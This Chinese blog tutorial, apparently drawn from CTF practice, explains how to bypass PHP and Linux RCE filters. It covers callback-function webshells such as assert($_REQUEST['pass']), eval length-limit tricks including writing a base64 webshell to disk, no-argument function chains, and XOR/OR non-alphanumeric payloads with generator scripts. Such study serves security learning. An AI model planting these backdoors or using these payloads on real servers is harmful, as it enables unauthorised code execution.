当前位置: 首页 > news >正文

WEB安全--RCE--RCE的绕过

一、回调函数的绕过(PHP)

1.1、回调函数

1.1.1、原理:

回调函数(Callback Function)指的是将函数名匿名函数作为参数传递给另一个函数,从而在特定条件下调用该函数。

以一个常见的回调函数为例,如下,call_user_func()接收了两个参数,然后它会将第二个参数交给第一个参数执行:

<?php
call_user_func('system', phpinfo());

1.2、回调函数的利用

1.2.1、原理:

既然可以通过这种方式传参,那是不是可以进行如下的修改当做后门呢:

<?php
//call_user_func('system', phpinfo());
call_user_func_array('assert', array($_REQUEST['pass']));

显然也是可行的,且php中还有很多回调函数,所以我们可以依据这个形式做一些延伸来绕过一些过滤。

1.2.2、array_filter、array_map:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));


<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

这里的两种方式是大相径庭的,依靠两个传参:e、pass

以array_filter为例,它的内部接了两个参数,而第二个参数做了一个base64解码的操作,所以我们可以在用get传参时将e对应的值用base64编码,然后post传参的数据会被赋值给arr并以数组的形式放在回调函数中并提交给解码后的函数e执行。

1.2.3、assert+回调函数(php>=5.4.8):

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition,也就是说我们可以往assert函数中传入一个或两个参数,所以下面的利用方式就应运而生了:

uasort:

针对数组排序的函数,所以要传两个或两个以上的值的数组,arr中有两个值,这时我们将assert用base64编码后再get传参赋值给e,此时在uasort中会将arr中的两个值都交给解码后的assert处理,并且assert也不会报错。

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

uksort:

原理如上,区别是该函数是处理键值对中的key值,所以从arr中提取出的值和上面的一样,跟=>1、=>2没有什么关系。

array_reduce:

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

array_udiff:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

1.2.4、基于preg_replace函数的回调函数:

首先我们来了解一下preg_replace:

preg_replace($patterns, $replacements, $string)

#接收三个参数:匹配模式、替换后的值、原始值

而在PHP官方手册中针对preg_replace还有如下补充:

也就是说,只要在正则匹配中用e这个修饰符,替换后的值会被eval()执行得到新值并替换原始值,也就是$replacements还会被eval($replacements)处理然后覆盖。

通过例子深入了解一下这个函数的处理流程:

<?php

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}


#payload:
 ?\S*={${phpinfo()}}

1、我们的payload进去后被处理成:$re = \S*   $str = {${phpinfo()}}

2、接收参数:preg_replace('/(' . $re . ')/ei' , 'strtolower("\\1")' , $str)

3、/e:eval(strtolower("{${phpinfo()}}"))

4、成功执行

通过上面的介绍我们可以知道能够利用\e这个修饰符进行命令执行,所以在回调函数的构造中我们也可以利用这个特性:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');

以array_walk为例:

一般情况下,回调函数接收两个参数;array参数的值作为第一个,键名作为第二个,剩下的为空' '

'|.*|e' 中的 e 其实就相当于preg_replace('|.*|e' , $_POST['pass'] , ' ')

而 .* 表示匹配所有,并且会提交给eval再执行一遍,这也就是相当于eval($_POST['pass'] )

这里我认为我们可以把e这个修饰符看做eval(),这样就更好理解了。

并且|e这个模式在php5.6的版本就被弃用了,php7.3被完全废弃。

1.2.5、单参数回调函数利用:

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);


<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

1.2.6、create_function:

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert:

<?php
preg_replace_callback('/.+/i', 
create_function('$arr', 'return assert($arr[0]);'), 
$_REQUEST['pass']);

同理:

<?php
mb_ereg_replace_callback('.+', 
create_function('$arr', 'return assert($arr[0]);'), 
$_REQUEST['pass']);

二、EVAL长度限制的绕过

2.1、后端filter

<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) 
{
    eval($param);
}

2.2、绕过方式

2.2.1、`$_GET[1]`;(length=10)

`$_GET[1]`

#具体payload:
?param=`$_GET[1]`;&touch /tmp/shell.txt

2.2.2、base64编码单字符追加&include$_GET[1];(length=16)

#base64编码:
<?php eval($_POST[9]); ?>  --->  PD9waHAgZXZhbCgkX1BPU1RbOV0pOw



#将木马逐个字符地写入到文件N中:
?1=file_put_contents&param=$_GET[1](N,P,8); 
?1=file_put_contents&param=$_GET[1](N,D,8);
?1=file_put_contents&param=$_GET[1](N,9,8);
?1=file_put_contents&param=$_GET[1](N,w,8);
...
?1=file_put_contents&param=$_GET[1](N,w,8);


#PHP伪协议解码读取
?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

编码原因是因为<  ? 这种符号file_put_contents不能识别写入

?1=file_put_contents&param=$_GET[1](N,P,8);  ===  ?param=file_put_contents(N,P,8);

N:文件名

P:内容

8:追加(php是基于c语言开发的,而8在c底层对应的是追加)

2.2.3、回调函数+变长参数&usort(...$_GET);(length=16)

#get传参:
?1[]=test&1[]=phpinfo();&2=assert


#post传参:
param=usort(...$_GET);

. . .  可变长参数的定义方式

也就是说get的传参都会被...$_GET接收到,从而构成回调后门

三、Linux命令长度限制的绕过

2.1、后端filter

<?php
$param = $_REQUEST['param']; 

If ( strlen($param) < 8 ) 
{ 
    echo shell_exec($param);
}

2.2、绕过方式

2.2.1、匹配临时文件&.+/t*/*(length=7)

?param=.+/t*/*


#上传txt文件,文件会先存储在Linux的临时目录中

#我们在文件中写入系统命令,参数匹配到该文件就会执行命令

2.2.2、待拓展: (

四、基于RCTF2018题目的分析与延伸(无参绕过)

4.1、RCTF2018

4.1.1、后端filter

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

这里的正则过滤目的是限制我们只能传入sort(sum())这样的形式,不过函数内不能有参数。

4.1.2、绕过方式

?code=eval(next(current(get_defined_vars)));&b=print_r(scandir('./'));


print_r(file_get_contents('../flag'))

get_defined_vars() 获取所有变量

current(get_defined_vars()) 假设返回 $_GET 数组

next($_GET) 获取 $_GET 数组的第二个值,也就是 b 参数的内容

eval() 执行 b 参数中的代码

也就是说:

?code=eval(next(current(get_defined_vars)));&b=print_r(scandir('./'));

等价于:

eval("print_r(scandir('./'));");

最后再读出flag即可。

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))));

4.2、无参数读文件&RCE

4.2.1、后端filter

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) 
{    
    eval($_GET['code']);
}
?>

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 A-Za-z0-9_,然后(?R)?这个意思为递归整个匹配模式

所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有 ; 

和上面的RCTF2018类似,我们只能思考传入sort(sum())这样的形式来达到代码执行或是命令执行的目的。

4.2.2、绕过方式

根据RCTF2018读flag的方式思考,我们可以发现最后是通过 eval("print_r(scandir('.'));"); 这样的方式查看目录的,而其中的 . 我们不能直接传入,那是否可以通过一些函数构造出这个 . 呢?

获取"."的方式有很多,下面列举两个:

1、localeconv():

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

所以可以通过下面方式读文件:

print_r(scandir(current(localeconv())));

2、chr()+time():

chr(46)就是字符"."

chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."

time()返回一段数字546321961484

localtime(time())以数组形式显示当前时间,第一个值是当前秒46

current(localtime(time()))取第一个值46

chr(current(localtime(time())))得到字符"."

所以我们就可以构成下面的payload查看当前目录文件:

print_r(scandir(current(localtime(time()))));

3、补充:

php函数有很多,绕过方式也不止上面两种,不过原理都大相径庭。

current却是关键一环,但是如果current()这样的函数被禁用了又怎么办呢?

我们可以用pos()、reset()这样的函数代替。


我们目前能看到当前目录的文件,又该怎么去访问文件内部呢?

array_rand(array_flip())任意文件读取

array_flip()是交换数组的键和值

array_rand()是随机返回一个数组

搭配使用构建payload:

show_source(array_rand(array_flip(scandir(getcwd()))));

scandir(getcwd()):

多刷新几次,就能查看当前目录中所有的文件:

或者是:

show_source(array_rand(array_flip(scandir(current(localeconv())))));

如果目标文件不在当前目录呢?

1、dirname():

dirname(): 返回路径中的目录部分

print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件

2、getcwd()构造"..":

getcwd(): 返回一串数组,其中第一个值是. 第二个值是..

next(): 移动指针从第一个值到第二个值

print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件

五、RCE无字母数字绕过

5.1、后端filter

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);


<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

5.2、绕过方式

5.2.1、异或运算绕过:

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

以第二个filter的绕过为示例:

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
$___=$$__;
$_($___[_]); 

第一个变量 $_ 异或计算后的字符串是 assert;

第二个变量 $__ 异或计算后的字符串是 _POST;

第三个变量 $___ 将 $ 与 $__ 拼接,也就是 $_POST

所以最终的$_($___[_]); 就等于 assert($_POST[_]);

当然我们也可以通过这种方式构建命令执行或代码执行,不过为了获得相应的字符我们需要编写脚本筛选出这些字符:

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据filter的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

自动化组合字符串:

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

运行结果:

[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60");

5.2.2、或运算绕过:

原理同上,只是处理方式不同

字符筛选脚本:

<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 
		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

自动化组合字符串:

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

生成payload:

[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

相关文章:

  • 网络深处的守门人
  • 马达加斯加企鹅字幕
  • 网站安全专栏-------DDOS常见的解决办法和防范措施
  • Vue 3 模板引用(Template Refs)详解与实战示例
  • Redis-06.Redis常用命令-列表操作命令
  • Zookeeper中的Zxid是如何设计的
  • leetcode144.二叉树展开为链表
  • Linux SCP传输文件免密配置
  • 硕士毕设-语义分割-4-通过grounding-sam生成效果很好的pesudo
  • 【图论】最短路径问题总结
  • 伴伴租赁系统-物品售卖-二手回收-物品租赁-支持微信/支付宝小程序/app/h5
  • 通过Spring Boot集成WebSocket进行消息通信
  • Java开发者指南:深入理解HotStuff新型共识算法
  • 图文档的安全管理软件有哪些?
  • pyproj 库中 Geod 类讲解
  • RK3568使用gpio子系统完成led驱动程序编写
  • f103.delay,teitou
  • docker-compose部署prometheus+grafana+node_exporter+alertmanager规则+邮件告警
  • DevOps部署平台
  • 【数论2】
  • 临沂经开区建设局网站/百度模拟点击软件判刑了
  • 企业网站建设方案包含/湖南网站推广公司
  • 福建建设工程招投标信息网/佛山做优化的网络公司
  • 做网站推广的难点、/重庆seo的薪酬水平
  • 超低价的锦州网站建设/百度seo服务
  • wordpress新闻动态不显示作者/seo搜索优化服务